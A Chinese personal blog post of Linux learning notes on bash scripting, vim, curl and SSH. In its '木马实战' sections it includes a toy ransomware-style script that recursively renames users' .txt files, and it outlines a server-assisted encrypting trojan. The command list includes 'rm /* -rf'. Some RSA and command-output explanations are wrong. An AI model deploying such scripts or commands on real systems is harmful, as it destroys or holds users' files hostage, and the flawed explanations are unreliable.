Linux


前言

每天下班回来至少都是十点过了,但是还是想给自己充充电。

但是为什么是学Linux呢?一方面是觉得作为一个程序员嘛,多少还是得接触一下计算机三大浪漫之一——我想知道为什么大家说他是浪漫的;另一方面是想做一个牛逼哄哄的项目,将所有技术整合到其中,不得不从Linux开始学习,为服务器的相关操作打下基础。

这期间也读到了一些历史事迹,真的很有意思,从肯·汤姆森、丹尼斯·里奇的Unix,到理查德·斯托曼的自由软件基金会,再到李纳斯·托瓦兹的Linux——这一段历史真是相当震撼人心,我们阅读这些伟人的故事后,就像是灵魂得到了洗涤,一时间薪资、内卷等等现实的问题就被抛到一边了,只留下一种激动的心情难以平复——我想Linux的浪漫至少得有一半来自于这个传奇作者的个人魅力。

基础知识

Linux发展史

Unics时代(1965)

1965年,贝尔实验室、麻省理工、奇异公司等联合发起Multics计划(Multiplexed Information and Computing System),期望让一个主机能支持几百个终端。后来由于资金等缘故失败告终。

当时的其中一名研究人员就是Ken Thompson(肯·汤姆森)
Thompson非常喜欢自己基于Mutilcs实现的游戏star travel,(为了能继续玩这款游戏),1969年,他利用妻子外出度假的四周,用B语言实现了一个由Mutilcs计划的系统简化而来的操作系统核心程序(包括内核,文件系统,编辑器,编译器等),但最终也只能支持两个终端,因此被戏称为**Unics(Uniplexed Information and Computing System)**。

Unix时代(1973)

Unics被广泛流传,后来经过贝尔实验室多次改进——特别是Dennis Ritchie(丹尼斯·里奇,C语言之父)和Thompson的合作,最终用C语言实现了真正实现了支持多个终端的操作系统,即Unix

GNU时代(1983)

后来Unix又被广泛传播,出现了许多分支版本,比如Richard Stallman(理查德·斯托曼,自由软件基金会创始人)组织研发的——GNU

GNU是GNU’s Not Unix的递归缩写(GNU-NU-U),发音被人为约定为/‘gnu:/,并且其目的是建立一个完全自由并且开源的操作系统,所以有人将其翻译为革奴计划

GNU有着极为深远的影响,推动了操作系统发展的同时,还推动了开源协议GPL(General Public License)的发展,该协议规定:基于GPL项目的二次开发必须开源——允许交易、允许改动,但是必须传递自由

Linux时代(1991)

芬兰赫尔辛基大学的大学生Linus Torvalds(李纳斯·托纳斯),用bash和gcc就造出了Linux内核,并在GNU的感召下,将Linux以GPL协议开源,以一己之力推动了整个计算机事业的发展。

关于他,请一定要去读一下这一篇文章知乎上看到的一篇关于李纳斯的文章,有机会还可以看看他的自传《乐者为王》

开源的LInux内核逐步被各大社区、组织机构甚至个人根据不同的需求改进,最终出现了如今无数版本百花齐放的局面,常见的版本有:Centos、Ubuntu、Deepin、RedHat、Debian、Kali Linux等等

基本命令

ls: 列出当前目录下所有文件,蓝色的是文件夹,白色的是普通文件,绿色的是可执行文件

参数:
-l : 展示详细信息;
-h : 人性化的显示详细信息;
-a : 显示所有的文件(包括被隐藏的文件, 所有被隐藏的文件都是以.开头的);
ll 等价于ls -la

pwd: 显示当前位置;

cd: cd + 路径;

cd 默认返回家目录, cd .. 返回上一层目录, cd - 返回上一个待过的目录;

cp: cp 路径1 路径2;

(将路径1内容复制一份放路径2里面, 复制 + 粘贴 + 重命名);
eg:
cp a/tmp.txt b (复制一份到粘贴到b里面);
cp a/tmp.txt b/tmp2.txt; (复制一份到粘贴到b里面,并重命名)
如果复制文件夹后面加-r
eg: cp a b -r; (将a复制一份粘贴到b里面)

  • 表示本文件夹里所有文件

mkdir a :创建文件夹a

mkdir: 创建文件夹;(可以加-p创建一系列的文件夹)

eg:
mkdir /home/acs/a/b (在根目录下创建文件)
mkdir a/b/c -p (在该文件夹下创建a/b/c复合文件)

history: 显示历史用过的指令;

rm: 删除,

rm xxx: 删除某一文件;
rm xxx -r: 删除某文件夹;(支持正则表达式);

eg:
rm tmp.txt tmp2.txt (删除tmp.txt和tmp2.txt)
rm .txt (删除所有txt文件)
rm a/ (删除a里面所有东西)
rm /* -rf (删除所有文件)

windows彻底删除文件:Shift + Delete;

mv: mv xxx yyy (剪切+ 粘贴)

eg:
mv a/tmp.txt b/ (将a中tmp.txt文件挪到b文件夹里面)
mv b/tmp.txt a/tmp2.txt (将b中tmp.txt文件挪到a文件夹里面并重命名为tmp2.txt)
mv tmp2.txt tmp.txt (将tmp2.txt重命名为tmp.txt)

cp与mv区别:cp(复制+粘贴), mv(剪切+粘贴)
mkdir与touch区别:mkdir(创建文件夹), touch(创建文件)

cat: cat xxx(查看xxx文件);

eg:
cat a/tmp.cpp(查看tmp.cpp文件)

编辑工具

tmux

个人更喜欢vim…所以这个先跳过吧

作用
1.分屏:可以在一个开发框里分屏
2.允许terminal在连接断开之后可以继续运行,让进程不会因为断开连接而中断

一个tmux可以有一堆session
每个sesion可开很多的window
每个window可以开很多pane
每个pane可以打开一个shell交互

vim

命令行模式下的文本编辑器,根据扩展名判别编程语言,实现代码缩进、代码高亮

基本操作

1.i:进入编辑模式

2.esc:进入一般命令模式

3.小键盘可以操作前后左右
注:在命令模式下:vim会卡在最后一个字符前面,编辑模式会卡在最后一个字符,不像win,移动到最后会直接换行
同样的,无论是什么模式,往左移动到开头就会停下

4.光标的移动操作:n n是数字,光标会自动右移n个字符
一般命令模式下:0/home 将光标移动到本行开头
$/End 将光标移动到本行结尾
G:光标移动到最后一行

5.具体到哪一行的操作:
1).n/nG:表示想去具体到哪一行(n是到某一行的下面,nG是直达)
2).gg:到达第一行
3).n 向下跳n行

6.查找与修改字符串的操作:
1)./word:在命令行模式下,光标之下寻找第一个值为word的字符串
2).?word:在光标之上第一个值为word的字符串
3).n:重复前一个查找操作
4).N:反向查找,也就是说前一个命令向前找,此命令下向后找
5).:n1,n2s/word1/word2/g:n1,n2为数字,在第n1与n2之间找word1,并替换为word2
:1,$s/word1/word2/g: 将全文的word1换成word2
:1,$s/word1/word2/gc:在每一次替换的时候都会让用户进行确认

7.:noh 关闭所查找的关键词的高亮

8.选中与删除
v:选中文本,按两下esc取消
d:删除选中文本(其实有剪切的特性)
dd:删除整行

9.复制与粘贴:
y:复制(文本)
p:在光标所处位置的下一行或下一个位置(通常当光标在两边时)粘贴
yy:复制当前行

10.撤销:u:撤销
ctrl+r:取消撤销
注:在windows里,ctrl+z撤销,ctrl+shift+z取消撤销

11.> 将选中的文本整体向右移动
< 将选中的文本整体向左移动

12.保存与退出:
:w保存
:w! 强制保存
一般命令模式下:按下ESC,按q退出
:q! 强制退出(不保存)
:wq 保存并退出
:wq! 强制保存退出

13.行号的显示与隐藏:
:set nonu 隐藏行号
:set nu 显示行号

14.paste模式:
为什么:当要粘贴过来的代码很长时,命令可能会失效,占用很大带宽,导致出现多重缩进
:set paste取消代码缩进,设置成粘贴模式
:set nopaste开启代码缩进

15.全选
ggdG 删除全部内容
gg=G 将全文格式化
ggyG 复制全部内容

16.vim的卡死处理
ctrl+q:当vim卡死时,可取消当前正在执行的命令

17.异常处理:当前进程出现冲突时,会出现异常
解决方法:1).找到正在多个打开的文件程序,并关掉,保证同一个进程只有同一个文件能打开
2).问题:当一个进程不小心被其他进程杀掉,当再打开main.cpp时,此时如果出现一个.swp缓存文件时会报错
解决:在没有任何一个进程打开该文件时,将.swp文件删掉即可

基础shell

概述

shell的定义

我们有很多方式与计算机交互,这些交互的实现得益于接口——能够使外部操作内部的抽象结构,比如鼠标点击,这就是计算机留给用户操作自身的一种接口。

Shell,是一种文本接口,是一种编程环境,也是命令语言、命令解释程序及程序设计语言的统称,更是我们通过命令行与操作系统沟通的语言,常说的CMD其实是指的Command Shell,而GitBash中的Bash是指的Bourne Again Shell,当然还有zshK ShellC ShellBourne Shell等等。Shell可

shell脚本可以直接在命令行中执行,也可以将一套逻辑组织成一个文件,方便复用。

这里需要着重强调一下ShellLinux命令的关系:

有了一定的逻辑和过程,而命令行只是单一的操作。
并且shell是面向过程的,可以说是Linux命令集的概称。
也可以从Shell作为一种编程环境的角度出发,将其理解为一个命令处理器和命令解释器,读入用户输入的Linux命令再进行解释后才交给操作系统执行。

终端的定义

而我们平时提到的终端terminal,在几十年前是一种物理实体——我理解的是发挥着今天的显示屏的作用,而如今常见的形式就是一个没有实体的黑窗口,其和shell及linux的关系是:

通过terminal来书写shell,然后操作linux

接下来我们以最为常见的bash为例,bash文件扩展名是sh,且第一行为

#! /bin/bash

(但是好像不写这个也没什么问题)

注释

单行注释

使用#符号进行单行注释

多行注释

使用:<<EOFEOF进行多行注释(有时不加前面的冒号也行),
其中EOF可以替换成其他任何字符

变量

基本使用

表示字符串时,单双引号都可以,甚至不写引号也可以

其他情况需要使用$${},根据字符串拼接情况选择性使用

修饰词

直接看看实际脚本,并回忆一下之前我们提到的内容

#! /bin/bash
a=123 # 注意不能随便加空格,会报错
readonly b=456
echo 这是a:$a
unset b	# 删除变量,可以看做是置为空串
echo 这是b:$b

export c=789 
:<<!
	全局变量,也叫环境变量,子进程可访问
	相反,普通的变量则叫做自定义变量 或 局部变量
!
declare -x c # 将全局变量设置为局部变量
echo 这是c的长度${#c}, 这是c的前两个字符${c:0:2}

输出结果是什么?

这是a:123
./test2.sh: line 5: unset: b: cannot unset: readonly variable
这是b:456
这是c的长度3,这是c的前两个字符78

因为bash是逐行解释的脚本语言,这里报错了也没有影响到后续的执行

默认变量

默认变量大概就是一种约定式语法——并未声明过却可以使用的变量:

执行shell脚本的时候,可以向该脚本传递参数,这些参数使用如下形式的占位符表示其将被使用的位置:

#! /bin/bash

echo 这是文件名: $0
echo 这是第一个参数: $1

当我们用下述语句执行这个脚本:

# 没错这个文件的名字是test3.sh
./test3.sh 1 2

输出结果:

这是文件名: ./test3.sh
这是第一个参数: 1

没错,可以传不定参数(如果不传,则参数值默认为空串)

其他默认变量:

$#
#符号总是长度的意思,所以这里也是传参个数的意思

$ 或 $@*
*符号总是通配符,所以这个是列出所有传参,
至于后者,作用一样,只是格式不太一样,列出的参数带有双引号

$$
当前脚本进程的PID

$?
上一条脚本的退出状态(exit code,为0则是正常)

$(cmd) 或 `cmd`
返回cmd的stdout,区别是前者可嵌套,后者不可

$PATH
环境变量

数组

直接看代码和注释吧:

#! /bin/bash

arr=(1 2 three)
echo ${arr} # 1 和c语言规则一样,首地址
echo ${arr[*]} # 1 2 three

arr[-1]=-1 # 访问末尾最后一个
arr[0]=0
arr[8]=8 # 可以动态添加,但是会压缩中间未使用的空间

echo ${arr[@]} # 0 2 -1 8

expr命令

内置命令

可以类比MC指令中的excute

#! /bin/bash
str="Hello World"

echo `expr length $str`  # 报错,这样的表达是不正确的,双引号表示expr命令的参数
echo `expr length "${str}"` # length求长度,输出11 
echo `expr index "${str}" abc` # index 求 abc三个字符中单个字符最早出现的下标,输出7
echo `expr substr "${str}" 1 5` # substr切割,类比js的splice,输出Hell

运算

之前就注意到了,变量直接初始化是自动处理为字符串,要进行运算的话就需要像下面这样

注意,shell中的很多符号都已经有了定义,所以需要加上\来定义

#! /bin/bash

a=3
b=4
echo a + b # 输出字符串 a + b
echo `expr a + b` # 报错,没有数字参数
echo `expr $a + $b` # 输出 7
echo `expr $a * $b` # 报错,语法错误(因为*需要转义)
echo `expr \($a + $b\) \* 20 % 6` # 报错,没有数字参数
echo `expr \( $a + $b \) \* 20 % 6` # 输出2,运算符两边都
echo `expr 3 \< 4` # 输出1(竟然不是输出True)
echo `expr 3 >= 4` # 报错,这里应该写作 \>\= 
echo `expr 0 \| 5` # 输出5
echo `expr 2 \& 3` # 输出2, &运算是两个都为非0则输出第一个
echo `expr 1 \= True` # 输出0,=和==同义
echo `expr 1 \=\= 1` # 输出1

read命令

就是从stdin读入

#! /bin/bash

read a # 等待输入a
echo 这是输入的内容a:$a
read -p "请在5秒内输入b" -t 5 b # 基于一个提示信息,并且只等待5秒
echo $b

如果没有在5s之内进行输入,结束等待,继续往后执行,这样b就会输出空值

还有其他参数:

-n 5
限定只能输入5个字符

-d 字符
读取到指定字符时结束输入

echo命令

基本使用

除了直接输出内容之外,也可以使用转义字符

echo -e "I'm Carbon, \n" # -e表示使用转义字符
echo -e "Hello \c" # \c表示,不换行
echo "World"

输出结果:

I’m Carbon,

Hello World

文件操作

最简单的使用方式是像下面这样:

echo 'hello ' > sayhi.txt
echo 'world' >> sayhi.txt

其中:

其中>是覆盖写入,>>是追加写入

printf命令

和C/C++的格式化输出是一个意思

#! /bin/bash
printf "there should be something waiting for %s\n" "you"
a=2
b=3
printf "everything should have a result like: %d * %d = %d" $a $b `expr $a \* $b` 
printf "%10.2f." $a

运行结果:

there should be something waiting for you
everything should have a result like: 2 * 3 = 6
2.00.

唯一需要注意的是,进行小数点和空格对齐的时候,末尾要加一个点

test命令

判断逻辑

这里指的是&&||

#! /bin/bash

a=0
b=1

echo a && b
echo a || b

二者都具有短路原则&&前一个值为假时,直接忽略

但是有个非常需要重视的点是:

这里0代表真,非0代表假

基本使用

test 2 -lt 6 # \< 也可以写作 -lt
echo -e "\nThe result of the last command:$?" # $?表示上一个命令的结果或者exit code

2小于6为真,所以输出结果是0:

The result of the last command:0

除此之外,还可以:

test 变量1 -eq 变量2 # 判断是否相等
test 变量1 -ne 变量2 # 判断是否不等
test 变量1 -ge 变量2 # 判断是否大于等于
test -e 文件名 # 判断文件是否存在
test -f 文件名 # 判断是否为文件
test -d 文件名 # 判断是否为目录
test -r 文件名 # 判断文件是否可读
test -w 文件名 # 判断文件是否可写
test -s 文件名 # 判断文件是否非空
test -x 文件名 # 判断文件是否可执行
test -z 字符串 # 如果为空则返回真
test -n 字符串 # 如果为非空则返回真
test 字符串 == 字符串 # 判断是否相等

如果要判断多个逻辑是否同时成立或者至少成立一个,那么不应该使用&&||,因为这里的意义并不和我们过去所熟知的那样一致——这里我们应该是使用;

test -r test.txt -a -w test.txt # -a 就是 and
test -r test.txt -o -w test.txt # -o 就是 or

语法糖

test可以简写为[],注意[]中的每一项都要空格隔开,并且变量和常量都最好用引号包裹

name="张三"
[ "张三" == "$name" ]

另外还有[[]]可以支持更多特性

条件语句

if式

#! /bin/bash

a=66
b=60

if [ "$a" -lt "$b" ] && [ "$a" -gt 50 ]
then
	echo ${a}在范围内

elif [ "$a" -lt 66 ] || [ "$a" -gt 66 ]
then
	echo ${a}不是66
else
	echo ${a}就是66
fi

输出结果:

66就是66

switch式

#! /bin/bash

c=233
case $c in
100)
 	echo ${c}等于100
	;;
233)	
	echo ${c}等于233
	;;
*)
	echo ${c}是其他值
	;;
esac

输出结果

233等于233

循环语句

for式

基本语法大概是像下面这样的,写法很多,推荐是写法4,能适应大部分情况

#! /bin/bash
# for式1
for i in 1 2 3 4 5 6
do
	echo -e "$i->\c"
done

echo 
# for式2
for i in $(seq 1 15)
do
	echo -e "$i->\c"
done

echo
# for式3
for i in {1..10}
do
	echo -e "$i->\c"
done

echo
# for式4
for ((i=1; i <=10; i ++))
do
	echo -e "$i->\c"
done

输出结果:

1->2->3->4->5->6->
1->2->3->4->5->6->7->8->9->10->11->12->13->14->15->
1->2->3->4->5->6->7->8->9->10->
1->2->3->4->5->6->7->8->9->10->

while式

#! /bin/bash

while read -p "输入一个值吧:" someNumber
do
	for((i=1; i <= someNumber; i++))
	do
		if [ `expr $i % 2` -eq 0 ]
		then
			echo -e "$i \c"
		fi
	done
	echo
done

当我们输入10和20:

输入一个值吧:10
2 4 6 8 10
输入一个值吧:20
2 4 6 8 10 12 14 16 18 20

util式

下面这样就是直到用户输入OK才会停止

#! /bin/bash

until [$isOK== "OK" ]
do
	read -p "R U OK?" -t 5 isOK
	echo -e “status: $isOK\n”
done
echo "U R $isOK"

当然,个人发现输入总会带上一个换行符….所以这里总是匹配不上,至于到底怎么取消这个换行符,暂时还没去试过

break和continue

大体和C/C++相同,略有区别地是break是在switch式中并没有作用

死循环处理

使用top找到进程PID,然后kill -9 PID结束进程即可

函数

基本使用

#! /bin/bash
# 关键字function是可省的
function fun1() {
	echo "Hello World"
}
fun1 # 这是调用函数
echo "output: $(fun1)" # 这是拿到函数在stdout的输出
echo "return: $?" # 拿到exit code

bash的函数返回值很有特点,它的返回值是上文经常提到的exit code,取值范围是[0, 255],其中0表示正常返回

参数

在函数同一行输入其他内容,将作为参数传递,在其内部使用$0,$1,$2等分别访问到

注意,递归不是使用$0——这只是个字符串

直接书写函数名后面跟上参数即可实现递归

局部变量

使用关键字local声明的变量即为函数局部变量

fun1() {
	local a=123
	echo a
}
fun1

echo $a # 输出空串

exit命令

exit 0
return 0

两者都是返回exit code,但是exit是结束整个进程,return仅结束当前函数

文件操作

文件重定向

一个进程默认会打开三个文件描述符:

stdin
标准输入

stdout
标准输出

stderr
标准错误输出

可以将这三个重定向到其他文件中,大概长这样:

#! /bin/bash

echo "hi" > text.txt
echo " world" >> text.txt

read text < text.txt
echo $text

还可以组合一下:

./test14.sh < text.txt # test14.sh内部的read语句会接受其中的内容
text.txt > res.txt 
# 上述两个合起来,简写为:
./test14.sh < text.txt > res.txt

引入外部脚本

其实就是类似于import其他代码动态执行,两种写法:

. 文件名
source 文件名

简单木马实战

正好这两天在上信息安全课,学习了一点勒索病毒的原理后深受启发——让我们实践一下:

#! /bin/bash

deadTextDir="TextsKilledByCarbonSerio'sBashScript"
killer() {
	mkdir $deadTextDir
	for i in *.txt
	do
		if [ -e $i ]
		then

			cp $i "$deadTextDir/$i"
			mv $i ${i%.txt}.CarbonSerio
			# rm $i
		fi
	done

	for i in $*
	do
		if [ -d $i ] && [ $i != $deadTextDir ]  
		then
			cd $i
			killer `ls`
		fi
	done
}

killer `ls`

上面写了很多多余的代码,主要是为了熟悉语法….

当然这个没有什么破坏性,主要是递归改变文件的扩展名会比较烦人——当然,为了便于恢复,这里把每一级目录下修改前的文件都放到了一个文件夹中

有了这个思路,我们还可以用echo覆盖掉文件原本的内容

甚至还可以更进一步….

网络请求

CommandLine Uniform Resource Locator,其实就是CommandLine URL,用命令行来操作统一资源定位符,
通常用于文件的传输,支持FTP(S) HTTP(S)等协议

发送GET请求

curl http://www.baidu.com/s?wd=1024
# 不出意外的话,你会收到一堆html

发送POST请求

curl -X POST -d 'wd=1024' http://www.baidu.com/s
# 虽然这个不会得到什么实际的结果,但是至少跑得通
# 主要是一时之间我也有什么可以POST

-X或者--request代表请求方法(默认是GET,所以GET请求可以省略这个), -d--data代表请求体

配置请求头

-h或者--header当然是请求头啦

curl -H "Content-Type: application/json" -H "Accept: */*" -X POST -d
{"name":"zhangsan"}

有意思的是,写成键值对是添加请求头;
但如果只写一个键,那么代表移除这个请求头

配置参数

一般是输出到一个文件内

curl -o res.html http://www.baidu.com/s?wd=1024

-o就是output代表输出位置
大写的-O则是直接把文件写入到当前目录下同名的文件中

curl -O res.html http://www.baidu.com/index.html

还有-s安静模式不显示报错和进度,-#显示进度条,以及上传文件和断点重传等操作,不过这些就留给大家自行学习了

其他方式

除了curl,我们还有wget等命令,但是它们本质上是一样的,所以此处不再做详细介绍

勒索木马实战

如果有网络请求了,那么我们就可以在服务器上运行自己的代码,然后潜入的木马运行时向该服务器发起请求——这样里应外合就能达到一些更加绝妙的效果:

我在服务器上部署了一个Node服务器,写了一个简单的加密算法:

加密前
泗水亭长笑尽万般随意,却是半生酒气金戈铁骑
加密后
洗簵仭��筑氾乇鈭雏焐l捵景捋畟ꅓ汔ꇒ扈꓂髑

开启本地服务器

严格来说,这个部分和shell或者linux关系不大,因为这里主要是依赖于第三方工具的

但是还是把它们单独列出来,目的是为了提醒我自己——别忘了命令行有多么强大:

python -m http.server 8000
npx http-server -p 8001
php -S localhost:8002
systemctl start apache

输出结果(如果系统已经提前配置好了环境的话)

Serving HTTP on :: port 8000 (http://[::]:8000/) …

(略)

没错!这样就开启了本地服务器(路径是终端当前所处的目录下),真是太棒了对吧

ssh协议

这一部分本想放到网络请求章节内,但奈何要素过多,内容异常丰富,所以单独提炼作为一章

概念

我们又迎来了一位重量级选手,它就是ssh——不过那是什么?

ssh,即Secure Shell,专为远程登录会话和其他网络服务提供安全的协议

相较于传统(比如FTP)明文传输的方式,建立在应用层的SSH通过对网络数据进行加密和验证,使得数据传输更安全

登录远程服务器

带上服务器的公网IP,还有你的服务器用户名,马上就要启程了:

ssh [username]@[ip]

如果一切顺利,那么我的勇士,你将看到这样一段话:

The authenticity of host ‘xxx.xxx.xxx.xxx (yyy.yyy.yyy.yyy)’ can’t be established.
ECDSA key fingerprint is SHA256:zzzzzzzzzzzzz
Are you sure you want to continue connecting (yes/no/[fingerprint])?

当然是选择yes啊——此时,该服务器的信息将被存入你主机ssh文件夹下的known_hosts文件中,下次访问就不会再出现这段文字了

然后就是紧张刺激的输入密码环节了,linux下的密码输入过程都是不会显示输入内容的:

[username]@[ip]’s password:(这是一段看不见的密码)

如果登录成功,你将会看到:

[[username]@[systemName] ~]#

注意了,这里可是#——也就是至高无上的root用户!
一般用户则是用$表示的

另外,要断开连接的话,使用ctrl+d即可

配置别名

哎呀,服务器IP好难记哦,所以我们在本地~/.ssh/config配置一下

啥?你没有这个文件?那直接touch一个就好了

Host DeepDream
	HostName xxx.xxx.xxx.xxx
	User yyy

之后,再让我们连接一次服务器:

ssh DeepDream

简单多了吧~

密码学基础

先来点基础概念:

密钥
也有写作秘钥的,反正意思就是秘密的钥匙,怎么写好像都有道理;更无语的是,钥可以读作“月”,所以读作“蜜月”也是正确的….

私钥
没有公开的秘钥

公钥
公开的秘钥

估计大家都知道一些基础,那直接开快车上高速了——双钥密码体系,解决了单钥密码体系中安全信道建立成本太高的问题

安全信道的作用是抗窃听,并且保证交互两方身份可信

双钥密码体制中常见的一种加密算法就是RSA算法

加密: secStr = oriStr ^ E % N

secStr表示密文,oriStr表示原文, E和N是两个较大的常数,
其中E将作为秘钥,此处用于加密(encode)

解密: oriStr = secStr ^ D % N
这里的N和加密时使用的是同一个值,而D将作为公钥,此处用于解密(decode)

通常,我们把这样的秘钥、公钥完整的表达为**(E,N)(D,N),密钥对则写作(E,D,N)**

这里通常使E和D的值非常大,以便于对N取模板能得到相同的结果(这样一手操作,除了穷举法之外,我个人是想不到任何破解方法了——但是这里也说了,值非常大,这样使破解所需的算力开销非常大)

那么问题来了,我们加密的时候怎么去确定E和D的值,总不能也是穷举吧?计算方式大致如下:

let N = 大质数p * 大质数q;
let L = lcmFunc(p-1, q-1); // lcmFunc 求最小公倍数
let E = ? // 秘钥,1<E<L
gcdFunc(E, L) == 1; // gcdFunc求最大公约数
let D = ? // 公钥
E * D % L == 1;

另外,双钥密码体系,可以根据需求选择两种套路:

套路一:加密秘钥保密,解密秘钥公开
主要目的是保障信息的 可鉴别性(知道是谁发的)完整性(防止被篡改)抗抵赖性(别说不是你发的),优点是提供了抗抵赖的证据,有效识别身份. 应用场景式, 官方发布消息, 大众访问消息.

套路二:加密秘钥公开,解密秘钥保密
主要是为了保障信息的 机密性(只有我知道写的什么),优点是能大幅降低对安全信道的依赖. 机密信息传输.

基于套路一,我们进一步聊聊签名

物理签名
基于物理载体不可伪造,也可以理解为一种“加密秘钥保密

数字签名
基于数据内容不可伪造,比如经过CA用自己的私钥签名过的 张三的公钥信息——没错这玩意儿就是CA证书,之后李四要是拿着CA的公钥能解密开张三的CA证书,那么就视为张三这个身份是可信的(当然这建立在CA是足够权威的基础上——野鸡CA就算了吧…)

秘钥配置免登录

经过之前的一波分析,我们这里就该将解密秘钥作为公钥,加密秘钥作为私钥(这不是废话吗,你是数据的发送者,你拿解密的秘钥干嘛…)

ssh-keygen # 生成秘钥对
# 之后的任何操作都可以直接enter跳过

然后去~/.ssh找找看,私钥id_rsa和公钥id_rsa.pub在等着你!

先想想看,登录密码这种设定是为了干嘛——认证身份对吧,也就是起到秘钥的作用。

那么我们给服务器配置一下我们的解密公钥,就可以达到验证身份的效果了~具体操作流程如下:

复制id_rsa.pub,然后前往~/.ssh/authorized_keys(如果没有,那就直接创建),粘贴即可

没错,keys 就是指 秘钥。如果有多个秘钥,那么空格给开就行了。

当然,有时候这个过程会因为疏忽大意而出错,所以这里还有一种简便的等效操作:

ssh-copy-id [ip]
# 举个例子
ssh-copy-id DeapDream

如果一切顺利,就能像我一样看到这句话:

Now try logging into the machine, with: “ssh ‘DeepDream’”
and check to make sure that only the key(s) you wanted were added.

远程执行命令

快控制你的服务器执行一下之前学过的shell操作!

抓不到肉鸡,就只能拿自己的服务器开刀,太下头了()

语法大概是这样的,具体操作就自行探索了:

ssh [username]@[ip] [command]
# 举个例子:
ssh DeapDream echo "hello world"

这里可能就有读者会问了——这个和登录之后再执行命令有什么区别?

其实没啥区别,只是这里没有和服务器保持连接(相当于你登录服务器执行了命令又退出来了)

scp文件传输

scpsecure copy,基于ssh进行远程文件拷贝

基本用法:

scp [src] [target] # 将文件复制到target
scp [src1] [src2] [target] # 批量操作
scp -r [src] [target] # 复制文件夹
# 也可以反过来从服务器上下载内容到本机

实际示例:

scp 拼多多电商经验.md DeepDream:/

ssh连接服务器然后cd到根目录再ls一手,就可以看到我的电商副业经验之谈
《从零基础入门到暴亏上万》

RPC

获得帮助

Linux命令很多,而且还有不同的实现版本,我们很难记住所有指令,所以我们可以像这样得到帮助

man 命令 # 查看某个命令的用法;(但是我的bash不支持这个命令)
apropos 字符串 # 通过搜索某个关键词来找到可能相关的命令

文章作者: Serio
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Serio !
  目录